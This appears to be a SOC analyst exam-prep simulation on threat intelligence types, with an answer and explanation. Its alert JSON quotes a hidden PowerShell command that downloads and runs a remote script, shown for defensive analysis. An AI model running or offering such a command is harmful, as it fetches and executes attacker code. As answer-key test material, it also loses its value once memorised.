CSA (312-39) SOC Simulation Lab

In this module, you will analyze how a modern SOC leverages different classes of Cyber Threat Intelligence (CTI) within a SIEM to move from raw alerts to actionable situational awareness.

Scenario Context

You are a Tier 3 analyst at a major financial institution. Over the last 48 hours, your Tier 1 analysts have been hit with alert fatigue, escalating dozens of seemingly isolated Endpoint Detection and Response (EDR) alerts regarding `certutil.exe` and `powershell.exe` execution.

Raw logs tell you that a command ran, but they lack the crucial context of why. You are configuring your Splunk Enterprise Security instance to pull in feeds from your Threat Intelligence Platform (MISP) to auto-enrich these alerts with actor attributions and campaign IDs.

Security Environment

Review the SIEM auto-enrichment payload mapped to the latest critical alert. Notice how the raw event is translated into structured analyst context:

{ "alert_id": "SEV-1-88492", "raw_event": "powershell.exe -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://82.165.x.x/payload.ps1')", "tip_enrichment_data": { "technical_ioc": "82.165.x.x", "intel_layer_x": { "mitre_ttps": ["T1059.001 - PowerShell", "T1105 - Ingress Tool Transfer"] }, "intel_layer_y": { "threat_actor": "FIN7", "campaign": "Carbanak_2025_Q1_Finance", "tool_used": "Cobalt Strike / Griffon Backdoor" } } }

Which of the following threat intelligence is used by a SIEM for supplying the analysts with context and "situational awareness" by using threat actor TTPs, malware campaigns, tools used by threat actors. 1. Strategic threat intelligence 2. Tactical threat intelligence 3. Operational threat intelligence 4. Technical threat intelligence

Analyst Hint: Look at the enrichment JSON above. Technical intel gives you the IP (82.165.x.x). But what types of intel give you the MITRE TTPs (how they attack) and the Campaign/Tools (specific operations and actor tools)? Strategic intel is usually for CISOs, not SIEM context.

Expert Insight

1. What is Happening (SOC Level)

When an alert fires in the SIEM, an analyst looking at raw command-line arguments is operating blind. By integrating a TIP (like MISP or ThreatConnect) via STIX/TAXII, the SIEM enriches the raw technical IOCs with higher-level context. This transforms a basic "PowerShell execution" alert into "FIN7 is actively using Cobalt Strike against our endpoints in their Q1 campaign," drastically altering the Incident Response urgency and playbook.

2. Why the Correct Answer is Correct (A: 2 and 3)

The prompt specifically asks for the intelligence that provides "TTPs, malware campaigns, tools used".

Tactical Intelligence (2): Focuses entirely on TTPs (Tactics, Techniques, and Procedures). It answers the "How" of an attack. It's mapped directly to frameworks like MITRE ATT&CK (e.g., T1059.001).
Operational Intelligence (3): Focuses on specific impending attacks, threat actor infrastructure, malware campaigns, and specific tools in use by those actors right now.

Combined, Tactical and Operational intel provide the exact "situational awareness" analysts need during triage.

3. Why the Other Options are Wrong

Strategic Intelligence (1) is designed for executive leadership (CISOs, Board). It covers long-term trends, financial impacts, and high-level risk analysis, not SIEM alert context. Technical Intelligence (4) consists of raw, short-lived IOCs (IPs, domains, hashes). While a SIEM absolutely consumes Technical intel for alerting, an isolated hash does not provide "situational awareness" or "campaign context" without the Tactical/Operational layers on top of it.

🛡️ SOC MINI LESSON: The CTI Application Pyramid

To succeed as a SOC analyst, memorize how intel maps to your tooling and audience:

Strategic (Execs/CISO): "Financial sectors in APAC are being targeted by state-sponsored actors." (Delivered via PDF/Briefings).
Operational (SOC Managers/Tier 3): "Actor FIN7 is utilizing Cobalt Strike in a new spear-phishing campaign." (Delivered via TIP reports/SIEM dashboards).
Tactical (Tier 2/Threat Hunters): "The actors use certutil.exe to download payloads (T1105)." (Delivered via SIEM Detection Rules/YARA/Snort).
Technical (SIEM/EDR/Firewall): "Block IP 82.165.x.x and hash 9d2a...4b". (Delivered via STIX/TAXII automated feeds).

Ready to sharpen your defensive thinking further?

Explore more CSA simulations and practice exams →